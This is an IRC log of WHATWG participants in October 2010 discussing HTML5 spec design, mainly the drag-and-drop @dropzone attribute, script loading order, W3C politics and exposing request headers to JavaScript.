[16:58:00.0000] <TabAtkins>
Perhaps, if a @dropzone specifies a particular type, the page notices this, and changes so that drags with that type only fire events on the appropriate dragzones, not everything?

[16:58:01.0000] <othermaciej>
the API is kind of a wreck

[16:58:02.0000] <Hixie>
TabAtkins: i don't follow

[16:58:03.0000] <Hixie>
othermaciej: yeah

[16:58:04.0000] <Hixie>
othermaciej: there's a proposal to make it better (in a comment in the spec)

[16:58:05.0000] <hober>
TabAtkins: re: your blog, no feed makes me a sad panda

[16:59:00.0000] <Hixie>
othermaciej: should i just go ahead and do it? (i dunno if it's too late to be adding entire untested APIs...)

[16:59:01.0000] <TabAtkins>
hober: I just turned it on!  Right now the entire code is about 10 lines, not counting CSS.

[16:59:02.0000] <hober>
:)

[16:59:03.0000] <TabAtkins>
More features will come later.  I just needed something I could point people to during my talks, so they could get all the links and info I'll be talking about.


2010-10-08
[17:01:00.0000] <Hixie>
othermaciej: should i just go ahead and do it? (i dunno if it's too late to be adding entire untested APIs...)

[17:02:00.0000] <othermaciej>
Hixie: probably should get more opinions than mine, if you think it might be worth doing

[17:02:01.0000] <Hixie>
well it's gonna happen eventually anyway, i was just wondering from an htmlwg perspective

[17:02:02.0000] <othermaciej>
on the one hand, it is late in the game, on the other hand, there is an opportunity to both improve accessibility and improve the API at the same time, so that's cool

[17:03:00.0000] <AryehGregor>
I haven't tried drag-and-drop support, but by all accounts (particular ppk's) it's horrifyingly terrible.

[17:04:00.0000] <TabAtkins>
Hixie: Something like - <p draggable ondragstart="function(e) { e.dataTransfer("datatype", "my data") }">foo</p><div dropzone="datatype">Drop stuff here</div>

[17:04:01.0000] <TabAtkins>
Hixie: And, since the page noticed a @dropzone with "datatype", whenever something is being dragged with that datatype, it *only* fires events at the elements with @dropzone="datatype".

[17:04:02.0000] <TabAtkins>
@dropzone would accept a space-separated list.

[17:05:00.0000] <Hixie>
TabAtkins: i don't understand why we'd only fire events at the declared dropzones that support that type, but i guess that depends on which events you mean

[17:06:00.0000] <TabAtkins>
Actually, now that I read dnd some more, i see that you can just ignore the events on things that aren't dropzones.  You have to cancel them for the dropzones.

[17:06:01.0000] <Hixie>
TabAtkins: space-separated list of what? How do you distinguish a binary file of type application/x-foo and a text string of type application/x-foo?

[17:06:02.0000] <TabAtkins>
So, never mind.

[17:06:03.0000] <Hixie>
k

[17:06:04.0000] <Hixie>
i agree with the approach you're describing, i just don't know what the attribute's vlaue should be

[17:06:05.0000] <Hixie>
that's where i got stuck

[17:06:06.0000] <Hixie>
if we can revamp the API at the same time, that makes life easier

[17:07:00.0000] <Hixie>
cos we can just map the new API to the new values

[17:07:01.0000] <Hixie>
e.g. File/Blob-only values can be prefixed with an @

[17:07:02.0000] <Hixie>
or some such

[17:17:00.0000] <TabAtkins>
Hixie: So, what exactly is the "easier" we're looking for here?  Less events?  Some declarative broadcasting to the user?  What kind?

[17:29:00.0000] <TabAtkins>
Hixie: So, I'm thinking my idea was sorta sound, though not with the effect I stated.

[17:29:01.0000] <TabAtkins>
The current drag model is unintuitive, but isn't as bad as I thought in terms of having to deal with stuff (I had thought you had to cancel the events on everything that *wasn't* a drop target).

[17:32:00.0000] <TabAtkins>
So, have @dropzone be an attribute on drop targets.  It takes a space-separated list of datatypes (the DataTransfer.types things).  Whenever you start a drag, any elements with a @dropzone naming a datatype in the dataTransfer's type list gets a pseudoclass.

[17:32:01.0000] <TabAtkins>
Maybe other stuff?

[17:32:02.0000] <TabAtkins>
Anyway, that makes, for example, highlighting drop zones trivial.

[17:33:00.0000] <TabAtkins>
You could also then query the DOM for the valid dropzones, and expose them via accessibility apis.

[17:33:01.0000] <TabAtkins>
Which I think answers at least one of the requests in the bug.

[17:40:00.0000] <AryehGregor>
gsnedders, did you get my new crash report now?

[17:43:00.0000] <AryehGregor>
I don't really get why Shelley seems to want to ax such large swathes of the spec.  She seems to want to just remove as much stuff as possible on principle.

[17:45:00.0000] <TabAtkins>
...yes?

[17:46:00.0000] <TabAtkins>
If you can reverse time such that HTML5 becomes HTML4, maybe you can revive XHTML2 as well.

[17:46:01.0000] <AryehGregor>
Was she a big XHTML2 fan?

[17:46:02.0000] <TabAtkins>
I don't know if she was "big" or not, but I know she loves her some XML.

[17:46:03.0000] <AryehGregor>
I thought pretty much everyone agrees that XHTML2 was a terrible idea.

[17:46:04.0000] <AryehGregor>
Barring the occasional Slashdot idiot.

[17:46:05.0000] <Hixie>
TabAtkins: seems reasonable, yeah. That's the conclusion I'd reached too, though I'm not sure exactly what to do with the attribute's value.

[17:46:06.0000] <AryehGregor>
/me shrugs

[17:47:00.0000] <TabAtkins>
AryehGregor: That's about right.

[17:47:01.0000] <variable>
Has there been any discussion on the altlink attribute for <a>?

[17:49:00.0000] <AryehGregor>
altlink?

[17:49:01.0000] <TabAtkins>
AryehGregor: I think it specifies alternative links to use if @href gives 404 or similar.

[17:49:02.0000] <TabAtkins>
Like a client-generated redirect.

[17:50:00.0000] <variable>
that one

[17:50:01.0000] <variable>
it might even provide a list of alternate links

[17:50:02.0000] <variable>
in case of slashdotting, 404, etc

[17:51:00.0000] <jcranmer>
/. the altlink :-)

[17:51:01.0000] <variable>
heh - I'm curious if there has been any discussion about it

[17:51:02.0000] <AryehGregor>
I've never heard of it.

[18:14:00.0000] <AryehGregor>
/me discovers that Larry Masinter is on the TAG

[18:28:00.0000] <TabAtkins>
Hixie: I wrote up my suggestion in the @dropzone bug.

[18:28:01.0000] <Hixie>
for the attribute value's syntax?

[18:28:02.0000] <TabAtkins>
Yeah.  Loosely, but it's clear.

[18:29:00.0000] <Hixie>
thanks

[18:29:01.0000] <TabAtkins>
I guess to make it work, you'd need to restrict setData so that the format argument had no spaces.

[18:31:00.0000] <Hixie>
we can't limit the types at all, since they can come from the OS, as i understand it

[18:31:01.0000] <Hixie>
re the pseudos, that's something we should do in the CSSWG

[18:31:02.0000] <TabAtkins>
Do they have spaces in them when they come from the OS?

[18:31:03.0000] <TabAtkins>
Yeah, CSSWG should define the pseudo in UI.

[18:32:00.0000] <Hixie>
hyatt and i talked about it years ago and figured we'd need three pseudos, :drop-target, ::drop-target-before, and ::drop-target-after, which would match respectively the current target, and anonymous boxes before and after that element

[18:32:01.0000] <TabAtkins>
Um?  Why aren't ::before and ::after suitable?

[18:32:02.0000] <Hixie>
(so that you can make the element slide out of the way and leave room to drop something in)

[18:32:03.0000] <Hixie>
i guess ::before or ::after could work

[18:33:00.0000] <Hixie>
but they're defined as being inside the element

[18:33:01.0000] <Hixie>
so you'd need extra <div>s

[18:33:02.0000] <Hixie>
in many cases

[18:33:03.0000] <TabAtkins>
Oh, you want something outside.  Interesting.

[18:33:04.0000] <TabAtkins>
Unfortunate that we don't have ::outside::before.

[18:33:05.0000] <TabAtkins>
I'm not sure what you mean by "make the element slide out of the way".

[18:34:00.0000] <TabAtkins>
Like, just visually?  Like when you drag a list element around and the elements slide so there's droppable space between them?

[18:34:01.0000] <Hixie>
presumably in your suggestion the events for the drop zone would get canceled automatically if the attribute was present? (or rather, the default action would only run if the attribute was absent or didn't specify a matching type?)

[18:34:02.0000] <Hixie>
TabAtkins: yes

[18:35:00.0000] <TabAtkins>
Hm.  What information is available at the time of the dragenter to tell if you want to accept it?  Just the datatype?

[18:35:01.0000] <Hixie>
that and any global information

[18:36:00.0000] <TabAtkins>
Okay.  Then yeah, it should auto-cancel or equivalent.

[18:36:01.0000] <Hixie>
i'll look at this more closely in a bit

[18:36:02.0000] <TabAtkins>
Or, hm.  I'd still want a way to keep it from dropping, perhaps based on global info, besides just temporarily changing the @dropzone attribute.

[18:36:03.0000] <Hixie>
gotta go right now

[18:37:00.0000] <Hixie>
yeah dunno how to do that

[18:37:01.0000] <Hixie>
that was the other problem i ran into

[18:37:02.0000] <Hixie>
bbiab

[18:45:00.0000] <AryehGregor>
I'm glad to see that a large chunk of the upmodded comments on the latest Slashdot HTML5 discussion are either me or BZ.  Maybe there's some hope of educating the masses after all.

[18:45:01.0000] <TabAtkins>
Hixie: Why do you need to distinguish between text and file types?

[20:41:00.0000] <Hixie>
TabAtkins: they use entirely different APIs to get them out

[21:11:00.0000] <Hixie>
you have to love how the TAG's e-mail on ISSUE-41 cites exactly zero technical arguments

[21:11:01.0000] <Hixie>
(and thus by definition will just be ignored by the chairs)

[21:59:00.0000] <TabAtkins_>
Hrm.  Someone wanna help me with EventSource in Chrome?

[22:00:00.0000] <TabAtkins_>
I'm using this code: http://www.xanthir.com/test.txt

[22:00:01.0000] <TabAtkins_>
But when I load the page, I get a "Failed to load resource" error.

[22:05:00.0000] <TabAtkins_>
I'm responding to the eventsource url correctly, with a 200 OK and text/event-stream content-type, so basically I'm confused.

[22:21:00.0000] <zcorpan>
hsivonen: in ie6 (and probably ie7 and ie8), <p><hr> end up with the hr inside p, but <p>foo<hr> the hr ends up as a sibling

[23:25:00.0000] <hsivonen>
zcorpan: interesting. not something I'd jump to cloning, though

[23:28:00.0000] <zcorpan>
Hixie: ftr, i'm not using the zcorpan⊙hc bugzilla account. apparently it's not possible to remove it

[23:29:00.0000] <zcorpan>
Hixie: i use the simonp⊙oc bugzilla account

[23:48:00.0000] <wycats>
Hixie: wtf is up with the W3C comments about HTML5 today?

[23:49:00.0000] <wycats>
(I need to add this room to my auto-join again -- got a new laptop and totally forgot :/ )

[23:50:00.0000] <zcorpan>
so, the tag position is (1) "we like distributed extensibility" and (2) "we'd like html5 to do it "like SVG""

[23:51:00.0000] <zcorpan>
without saying why

[23:51:01.0000] <othermaciej>
wycats: which comments do you have in mind?

[23:52:00.0000] <wycats>
othermaciej: "HTML5 is not ready"

[01:20:00.0000] <asmodai>
heh

[01:21:00.0000] <asmodai>
so Firefox prompts me to install 3.6.11 - after that you get redirected to the whatsnew page for .11 and it shows you:

[01:21:01.0000] <asmodai>
You’re running an unknown version of Firefox.

[01:38:00.0000] <annevk>
XHTML2 WG still going strong? http://www.w3.org/News/2010.html#entry-8922

[01:38:01.0000] <annevk>
(I guess they'll just publish whatever is left, but still kind of weird given how long ago they were supposed to be closed down...)

[01:40:00.0000] <asmodai>
annevk: maybe one rebel who keeps up truckin'

[01:57:00.0000] <annevk>
wow that TAG email is meaningless

[01:58:00.0000] <annevk>
might as well have said +1 to "like SVG"

[01:59:00.0000] <othermaciej>
wycats: I hope PLH was giving his own opinions there (and perhaps was selectively quoted) rather than presenting an official W3C position

[02:00:00.0000] <othermaciej>
since W3C management has been pushing me and the other co-chairs to get HTML5 to Last Call as soon as possible, and it would be weird in light of that to present it as highly unready and totally lacking in interoperability

[02:00:01.0000] <othermaciej>
annevk: I questioned their last publication request when it went by on the chairs list

[02:00:02.0000] <othermaciej>
Ian Jacobs said that they'd been given a number of extensions for their existence, which unfortunately were not publicly announced

[02:01:00.0000] <othermaciej>
for those with W3C Member access: http://lists.w3.org/Archives/Member/chairs/2010JulSep/0050.html

[02:01:01.0000] <annevk>
interesting

[02:39:00.0000] <zcorpan>
othermaciej: the difference between personal opinion from a w3c rep and "the w3c" is non-existent in article headlines

[03:08:00.0000] <jgraham>
We should write a spec for the IE selectNodes and selectSingleNode XPath APIs. As far as I can tell they are orders of magnitude better than document.evaluate (not hard)

[03:08:01.0000] <jgraham>
/me dons flameproof suit for mentioning XPath

[03:11:00.0000] <jgraham>
Although the way of dealing with namespaces look odd

[03:11:01.0000] <jgraham>
/me wonders what Opera does here

[03:12:00.0000] <jgraham>
(odd but less insane than the "pass an arbitary function in" stuff from DOM3 XPath)

[03:13:00.0000] <zcorpan>
jgraham: go ahead (and write the spec)

[03:14:00.0000] <jgraham>
Yeah, that's the problem

[03:15:00.0000] <annevk>
W3C twittered they encourage people to use HTML5 again btw

[03:22:00.0000] <jgraham>
So now we will get headlines like "W3C Confused About HTML5 Readiness"

[03:26:00.0000] <zcorpan>
"Confused about HTML5? Well you should be!"

[03:41:00.0000] <zcorpan>
annevk: yay for domcore fpwd :) now let's hope the attr idea works out

[03:43:00.0000] <annevk>
heh yeah; sicking seems keen on experimenting post Firefox 4

[03:44:00.0000] <annevk>
I now realize what I forgot in my blog post

[03:44:01.0000] <annevk>
history + acknowledgments

[03:44:02.0000] <annevk>
guess i'll write that up separately

[04:05:00.0000] <jarib>
jgraham: wait, IE has native XPath?

[04:06:00.0000] <jgraham>
As part of the MSXml stuff. I don't think you can run it against HTML documents or anything useful like that

[04:06:01.0000] <jgraham>
But I could be wrong

[04:06:02.0000] <jarib>
right, phew

[04:07:00.0000] <jgraham>
Opera has the same APIs that afaik work for anything with a DOM

[04:07:01.0000] <jgraham>
As well as the sort-of-standard-but-not really DOM3 Xpath crap

[04:08:00.0000] <jarib>
webdriver is injecting a JS XPath lib to get document.evaluate in IE, so I'd be surprised if there were alternatives we didn't know about

[05:10:00.0000] <annevk>
http://twitter.com/komputist/status/26736239613 -- I give up

[05:12:00.0000] <jgraham>
I gave up a long time ago

[05:13:00.0000] <annevk>
I'm not yet old and wise

[05:13:01.0000] <jgraham>
Nor am I 

[05:14:00.0000] <jgraham>
Just old

[05:19:00.0000] <jgraham>
http://www.whatwg.org/specs/web-apps/current-work/complete.html#overview-of-the-parsing-model the example there should say "script end tag token", right?

[05:20:00.0000] <zcorpan>
yes

[05:22:00.0000] <jgraham>
Bugged

[07:45:00.0000] <sideshow>
so do other people observe that in Chrome, WBS pages seem to be getting some kind of misguided over-aggressive caching that causes them to appear to never change?

[07:46:00.0000] <sideshow>
e.g., if I look at the issue-41 poll results in Chrome, it shows that Aryeh is the only person who's responded

[07:50:00.0000] <aja>
anyone from CSS WG here?

[07:51:00.0000] <aja>
just noticed that Planet CSS is borken....it's giving 403 errors

[07:51:01.0000] <aja>
http://www.w3.org/Style/CSS/Planet/

[07:52:00.0000] <MikeSmith>
hmm, I guess shift+command+R is the way to cache bust in Chrome

[07:54:00.0000] <MikeSmith>
http://www.w3.org/Style/CSS/Planet/ indeed does seem to be broken

[08:06:00.0000] <hsivonen>
MikeSmith: the over-aggressive caching happens in Firefox/Minefield, too

[08:07:00.0000] <hsivonen>
/me uses Midori to read wbs response pages

[08:08:00.0000] <MikeSmith>
hsivonen: guess I must have already monkeyed with my caching in Mozilla to disable it

[08:09:00.0000] <MikeSmith>
I know I did that it in WebKit nightly already

[08:09:01.0000] <MikeSmith>
turned caching off completely

[08:09:02.0000] <MikeSmith>
anyway, systems team really need to fix that

[08:10:00.0000] <MikeSmith>
but I don't see the problem in Opera

[08:11:00.0000] <MikeSmith>
maybe I changed something tehre too

[08:11:01.0000] <MikeSmith>
if I did, I can't remember

[09:58:00.0000] <TabAtkins>
Hixie: Right, but do you need to distinguish them at accept time?  You can detect differences and decide how to extract it once you've accepted the drop.

[09:59:00.0000] <TabAtkins>
Hixie: Is there a good reason to accept a text type with some particular datatype, but not a file type with the same datatype?

[10:13:00.0000] <jgraham>
So external scripts inserted via appendChild are racy, per spec, right? Or am I missing something?

[11:51:00.0000] <Ms2ger>
/me just noticed that Web DOM Core was published along with XHTML 1.1

[11:53:00.0000] <gsnedders>
Thoughts on hsivonen's email, as asked at the end? That's a long email.

[12:38:00.0000] <Hixie>
TabAtkins: i think it's more likely the other way around... you don't want to accept image/png if it's not a File, for instance; another site shouldn't be able to set some string to type image/png and have you crash when you assume it's available as a file

[12:40:00.0000] <TabAtkins>
Hixie: But that'll happen *without* dropzone too, if you're not writing your code robustly.  If I don't sniff the .types for "Files", then I'll dumbly accept a random string that has a datatype of "image/png".

[12:40:01.0000] <Hixie>
well right now, you won't get image/png if the user dragged a file

[12:40:02.0000] <Hixie>
you'll only get Files

[12:40:03.0000] <Hixie>
that's one of the things that gets fixed by that API i was talking to maciej about

[12:41:00.0000] <TabAtkins>
That doesn't seem to match the spec - doesn't it say that files should get a platform-specified datatype, converted to a mimetype by the UA?

[12:44:00.0000] <Hixie>
does it?

[12:44:01.0000] <TabAtkins>
/me goes to check his memory.

[12:45:00.0000] <Ms2ger>
Hixie, is the file you feed to anolis for the W3C ED available?

[12:45:01.0000] <TabAtkins>
user agents must similarly use platform-specific conventions when deciding on what drag feedback to use.

[12:45:02.0000] <TabAtkins>
All the format strings must be converted to ASCII lowercase. If the platform conventions do not use MIME types to label the dragged data, the user agent must map the types to MIME types first.

[12:46:00.0000] <TabAtkins>
http://www.whatwg.org/specs/web-apps/current-work/complete/dnd.html#when-the-drag-and-drop-operation-starts-or-ends-in-another-application

[12:46:01.0000] <Hixie>
Ms2ger: it's briefly available each time i generate the spec

[12:46:02.0000] <Hixie>
Ms2ger: do you need a copy? what's up?

[12:47:00.0000] <Hixie>
TabAtkins: that's referring to raw data, not files

[12:47:01.0000] <Hixie>
i'll be the first to admit that section's a mess, btw

[12:48:00.0000] <Ms2ger>
Hmm, do you hardcode that it's an editor's draft?

[12:49:00.0000] <TabAtkins>
So, I'm wondering what the problem is.  If files don't currently broadcast their datatype, then there's no risk of expecting a file and getting a string, right?

[12:49:01.0000] <gsnedders>
Ms2ger: Yeah, [Status] isn't used at all in HTML5

[12:49:02.0000] <Ms2ger>
Oh

[12:50:00.0000] <Hixie>
Ms2ger: it's one of the inputs i give to my script

[12:51:00.0000] <Hixie>
TabAtkins: as part of this attribute, i want to provide a new API that fixes all these problems... one of the parts of that is that files' types get exposes

[12:51:01.0000] <Hixie>
exposed

[12:51:02.0000] <TabAtkins>
Okay, I didn't realize there was more being talked about here than just what was in the spec.

[12:51:03.0000] <TabAtkins>
Then you probably just want some way to say "this datatype is for a file" or "this datatype is for a string".  Like prefixing with an @ or something for files.

[12:52:00.0000] <TabAtkins>
dropzone="@image/png" would only accept files of type image/png.

[12:52:01.0000] <Hixie>
yeah, agreed. that's what i was suggesting yesterday.

[12:53:00.0000] <TabAtkins>
Ah, okay.  Then yay for synchrony!

[12:53:01.0000] <Hixie>
i wonder how many of these "kinds" we'll have

[12:54:00.0000] <TabAtkins>
Surely not more than the number of useful non-alphanum characters we have at our disposal.

[12:55:00.0000] <TabAtkins>
Alternately - use a "magic type" to switch the entire dropzone to only accepting files or whatever - if "Files" is present in the dropzone list, all the other datatypes are assumed to be file types, not string types.

[12:55:01.0000] <TabAtkins>
I suspect that may be less useful, though.  I dunno.

[12:57:00.0000] <Hixie>
yeah, i dunno

[12:58:00.0000] <Hixie>
there's also the weird situation of the types not necessarily being MIME types... not sure what we're doing with that currently, i'd have to check the spec

[12:58:01.0000] <Hixie>
but some platforms just allow arbitrary strings (including spaces?) as the type names

[12:58:02.0000] <Hixie>
which makes it difficult to do a space-separated or @-prefixed list

[12:58:03.0000] <Hixie>
i'll have to study this more carefully

[13:01:00.0000] <TabAtkins>
>_<

[13:01:01.0000] <TabAtkins>
Convert spaces to _.  Done.

[13:01:02.0000] <TabAtkins>
Alternately... Escape?

[13:01:03.0000] <Hixie>
theoretically, how would you distinguish "text_" and "text "? (hopefully it'll never matter of course)

[13:02:00.0000] <Hixie>
yeah, escaping is the obvious solution if it's a real problem

[13:02:01.0000] <Hixie>
but that's a huge pain

[13:50:00.0000] <jgraham>
/me reads hsivonen's email  (asking about the same thing before was coincidence)

[13:58:00.0000] <jgraham>
Doesn't it make more sense to make preserving order the default

[13:58:01.0000] <jgraham>
and opt-in to racy behaviour?

[13:59:00.0000] <jgraham>
/me reads again

[14:03:00.0000] <jgraham>
Specifically the script-inserted exteral scripts blocking parser-inserted scripts part

[14:03:01.0000] <jgraham>
Although I suppose the percieved problem with the safe solution is that it will not be accepted by WebKit/IE

[14:05:00.0000] <gsnedders>
/me would rather have non-racy behaviour

[14:07:00.0000] <othermaciej>
jgraham: I suspect in most cases you don't actually want order dependencies

[14:08:00.0000] <othermaciej>
sometimes you do have a specific order dependency and want it respected, but in other cases this just causes a needless perf hit

[14:20:00.0000] <jgraham>
othermaciej: Right, but in general it seems safer to have lower-performance safe behaviour and let people opt in to higher performance less safe behaviour

[14:20:01.0000] <jgraham>
Rather than the reverse

[14:20:02.0000] <hober>
agreed

[14:20:03.0000] <hober>
(declaim (optimize (speed 3) (safety 0))) :)

[14:21:00.0000] <gsnedders>
/me has seen sites depend upon the exact perf of browsers before

[14:44:00.0000] <AryehGregor>
/me raises an eyebrow at WHATWG 

[14:45:00.0000] <othermaciej>
jgraham: I'm not sure the tradeoffs are quite so completely obvious

[14:45:01.0000] <othermaciej>
you could take it to an extreme and say processing of *all* resources is constrained by order of load requests

[14:46:00.0000] <othermaciej>
even, say, images, or stylesheets

[14:46:01.0000] <AryehGregor>
I've adopted a new policy to combat procrastination: for all the stuff I check every day (like e-mail and feeds), I will only check it once, except for my priority inbox.

[14:46:02.0000] <AryehGregor>
Now I have to find something to actually do for the next hour.

[14:46:03.0000] <othermaciej>
but that would probably be too extreme, given the risk caused by the "raciness" vs. the huge performance cost

[14:47:00.0000] <gsnedders>
AryehGregor: I decreased frequency of checking emails to once per hour, and noticed a larger perf increase. And nowadays I mostly ignore specs email.

[14:47:01.0000] <variable>
AryehGregor, smart idea. too bad I'll probably put off implementing it ;-)

[14:48:00.0000] <variable>
seriously - I should implement the same policy :-\

[14:53:00.0000] <jgraham>
AryehGregor: You should spend it on irc instead

[14:54:00.0000] <TabAtkins>
hober: Hey, don't knock DECLAIM.

[14:54:01.0000] <TabAtkins>
Saves me necessary execution time when doing Project Euler.

[14:54:02.0000] <jgraham>
othermaciej: Indeed. But it at least seems somewhat more likely that scripts will depend on other scripts since there are already hacks in the platform to wait for stylesheets and so on

[14:55:00.0000] <annevk>
this two-day break from normal work was great

[14:56:00.0000] <gsnedders>
annevk: meaning you spend the entire time doing site compat on porn sites?

[14:56:01.0000] <gsnedders>
*spent

[14:57:00.0000] <jgraham>
/me wonders where that came from

[14:57:01.0000] <gsnedders>
An IM conversation I'm in the middle of.

[14:58:00.0000] <othermaciej>
jgraham: most dynamically inserted scripts are either a bad way of loading JSON (and so likely to have no dependencies on anything) or are library modules that don't do anything substantive other than declare some functions (and so also are unlikely to have order dependencies)

[14:58:01.0000] <gsnedders>
I guess that's not useful to reference.

[14:58:02.0000] <annevk>
that is what I was taking a break from

[14:58:03.0000] <annevk>
;p

[14:58:04.0000] <gsnedders>
:P

[14:58:05.0000] <annevk>
/me was at a web developer conference

[14:58:06.0000] <annevk>
see da twitters

[14:58:07.0000] <gsnedders>
annevk: I saw. :) Håkon still sitting down? You haven't said he's stood up yet!

[14:59:00.0000] <annevk>
we had to carry him out to the airport

[15:03:00.0000] <jgraham>
othermaciej: It's not clear that "most" is the problem. The problem is if *some* scripts react badly to out-of-order loading

[15:04:00.0000] <AryehGregor>
othermaciej, could you look at http://www.w3.org/Bugs/Public/show_bug.cgi?id=10355 ?  In particular, is it true that WebKit only supports two reflected IDL attributes on marquee; and if so, would it be interested in supporting more to match IE/Gecko/Opera?

[15:05:00.0000] <annevk>
would be more interesting to support less :)

[15:05:01.0000] <othermaciej>
jgraham: in practice this only seems to arise in cases where libraries are used to try to explcitly support it

[15:05:02.0000] <othermaciej>
i.e. the current de facto model on the Web is to opt in to ordering

[15:30:00.0000] <hober>
TabAtkins: I'm not knocking DECLAIM; I'm a big fan

[15:31:00.0000] <TabAtkins>
Excellent.

[16:03:00.0000] <TabAtkins>
Oh god.  AryehGregor, I apologize unofficially for the UI for <input type=date>.  How did someone honestly think this was an improvement over no UI?

[16:10:00.0000] <TabAtkins>
Dang, I didn't realize <progress> and <meter> landed in Chrome 6.  They've got pretty decent UI!

[16:15:00.0000] <hober>
yeah, looking nice

[16:30:00.0000] <smaug____>
huh, progress looks pretty terrible

[16:30:01.0000] <TabAtkins>
Really?  I think it's just fine.

[16:30:02.0000] <TabAtkins>
indeterminate especially

[16:31:00.0000] <smaug____>
though Chrome 6 doesn't really use right theming on Linux anyway

[16:31:01.0000] <smaug____>
(does it use any native theming on linux)

[16:39:00.0000] <TabAtkins>
smaug____: Oh, wait, never mind.  It does suck on Linux.  It's pretty on Windows, though.


2010-10-09
[17:12:00.0000] <MikeSmith>
othermaciej: so where will the Nov 16-18 TC39 be?

[17:12:01.0000] <othermaciej>
MikeSmith: no idea, the discussion has left me rather confused

[17:14:00.0000] <MikeSmith>
ok

[17:14:01.0000] <MikeSmith>
othermaciej: maybe olliej knows

[19:07:00.0000] <Philip`>
/me wonders why people on the hybi list seem to believe that a protocol is secure iff nobody on the list can demonstrate a fully-detailed concrete attack

[19:38:00.0000] <webr3>
anybody know if there's a javascript reference implementation of the html 5 parsing rules?

[20:05:00.0000] <JoePeck>
webr3: heh, I have a feeling a JS implementation would cheat and do something like: var temp = document.createElement('div'); temp.innerHTML = htmlString;

[20:05:01.0000] <Hixie>
heh

[20:05:02.0000] <JoePeck>
webr3: of course in an HTML5 compatible browser =)

[20:05:03.0000] <JoePeck>
Hixie: don't you have a tool?

[20:05:04.0000] <Hixie>
hsivonen ported his java code to JS iirc

[20:06:00.0000] <Hixie>
http://livedom.validator.nu/ i think

[20:06:01.0000] <JoePeck>
thats what I was thinking of =)

[20:26:00.0000] <webr3>
JoePeck, was thinking about more on the server side / nodejs or similar

[20:26:01.0000] <webr3>
/me also needs a streaming parser on the client side - will sort something out though myself, could be fun

[05:43:00.0000] <annevk>
Ms2ger, ah, you have been fixing DOM Core some more, great

[05:43:01.0000] <annevk>
Ms2ger, you don't have a W3C account?

[05:44:00.0000] <Ms2ger>
I do

[05:44:01.0000] <Ms2ger>
w3c hg never seems to work, though

[05:45:00.0000] <annevk>
do you use https?

[05:45:01.0000] <Ms2ger>
Yes

[05:45:02.0000] <annevk>
https://username⊙dwo/hg/domcore wfm usually

[05:45:03.0000] <annevk>
prefixed with hg push

[05:47:00.0000] <annevk>
/me pushed it

[06:06:00.0000] <annevk>
is there a good resource somewhere that explains the need for multiple browser engines to exist?

[06:16:00.0000] <Dashiva>
Even if there was no need, there would still be multiple

[06:16:01.0000] <annevk>
a document explaining there is no need would be fine too

[06:17:00.0000] <annevk>
there's a few things that come to mind, like not wanting to be locked into particular bugs; getting too afraid of changes

[06:19:00.0000] <annevk>
competing on performance and quality giving different strategies a chance to compete with each other benefiting all in the end

[06:20:00.0000] <Ms2ger>
How about you write it? :)

[06:21:00.0000] <annevk>
I was hoping that would not be needed :)

[06:21:01.0000] <Philip`>
It also seems important to prevent one organisation from dictating the platform, since they'll have incentives to do things that benefit themselves at the expense of others

[06:22:00.0000] <Dashiva>
Well, that's why I said there would always be multiple engines

[06:22:01.0000] <Dashiva>
Because someone would say "This is wrong" and fork it 

[06:23:00.0000] <Philip`>
If that were always the case, why do lots of monopolies still exist today?

[06:23:01.0000] <Dashiva>
Such as?

[06:27:00.0000] <Philip`>
Not necessarily on the web, but in lots of fields - once someone's platform becomes entrenched it's very hard to successfully fork it

[06:27:01.0000] <Dashiva>
But this is the web

[06:28:00.0000] <Philip`>
If Microsoft had been a little better at getting people to use ActiveX then it would have been far harder for any other browser engines to become successful

[06:29:00.0000] <Dashiva>
Then it wouldn't be the web

[06:31:00.0000] <Dashiva>
(And maybe more relevantly, it wouldn't be a browser engine anymore, it would be a plugin platform)

[07:11:00.0000] <Milossh>
it would be disaster

[14:22:00.0000] <boaz>
shepazu: here?


2010-10-10
[17:06:00.0000] <eboyjr>
I have a proposition for DOM if anyone is interested

[17:06:01.0000] <eboyjr>
I think it is important to be able to get the request headers sent by the browser for the current page

[17:09:00.0000] <webr3>
eboyjr, I'll second that and give a big +1

[17:09:01.0000] <webr3>
already addressed w/ XHR though..

[17:10:00.0000] <eboyjr>
like document.getAllReponseHeaders() and document.getAllRequestHeaders(). I thought of the idea since Javascript is unable to get the locale of the browser so you cannot localize your scripts without a server language like PHP

[17:10:01.0000] <eboyjr>
webr3: I think you would have to make a dummy request then wouldn't you?

[17:11:00.0000] <webr3>
yes - but it would require a request like that anyways to know which headers to expose..

[17:11:01.0000] <webr3>
so maybe just XHR it and leverage CORS - a document.getAllRequestHeaders() would have to take the same steps to know what to allow and what not to

[17:12:00.0000] <webr3>
imagine if Cookie: or similar was exposed.. or Content-Location on an intranet site to a js from the web.. and so on

[17:13:00.0000] <webr3>
just do a HEAD request via XHR to get them

[17:13:01.0000] <eboyjr>
I was thinking of getting the headers that were already sent on the current page though

[17:14:00.0000] <eboyjr>
I probably don't get what you mean though

[17:14:01.0000] <webr3>
a browser can't expose many headers on the current page for security reasons

[17:15:00.0000] <webr3>
so to know what to expose a CORS like system would have to be implemented for non-CORS requests via the browser

[17:15:01.0000] <webr3>
which isn't going to happen

[17:15:02.0000] <eboyjr>
Really? The server has full access to them though and you can use a server script to output all the information to javascript

[17:15:03.0000] <webr3>
(server needs to say which headers can be exposed to javascript/dom)

[17:16:00.0000] <webr3>
ahhhhh hold on..

[17:16:01.0000] <webr3>
you're saying Request Headers ya? not Response

[17:16:02.0000] <eboyjr>
Yes exactly

[17:16:03.0000] <eboyjr>
like Accpet-Language for example

[17:16:04.0000] <webr3>
why would a js script need to know that post response? what's your use-case?

[17:17:00.0000] <eboyjr>
Getting the users' locale/language

[17:18:00.0000] <eboyjr>
It is one of the request headers that a browser would send but can't be exposed to Javascript without a server-side script

[17:19:00.0000] <webr3>
in that case request headers aren't the right response

[17:19:01.0000] <webr3>
there should be attributes on Window or Navigator to expose the localization settings - but I can't see them

[17:21:00.0000] <webr3>
maybe you can parse navigator.userAgent string?

[17:21:01.0000] <webr3>
that has localization in it

[17:22:00.0000] <eboyjr>
In firefox there is navigator.language

[17:23:00.0000] <eboyjr>
Well chrome too :S

[17:24:00.0000] <eboyjr>
Wouldn't hurt to be able to access request headers though

[02:05:00.0000] <romeo_>
2010-10-10 10:10:13

[02:05:01.0000] <romeo_>
I missed it!

[02:08:00.0000] <romeo_>
/me was to busy looking at the beautiful fog outside his window.

[02:08:01.0000] <romeo_>
s/to/too/

[02:10:00.0000] <micheil>
it'll happen again

[02:10:01.0000] <micheil>
in 12 hours time.

[02:10:02.0000] <micheil>
10-10-10 10:10:10pm

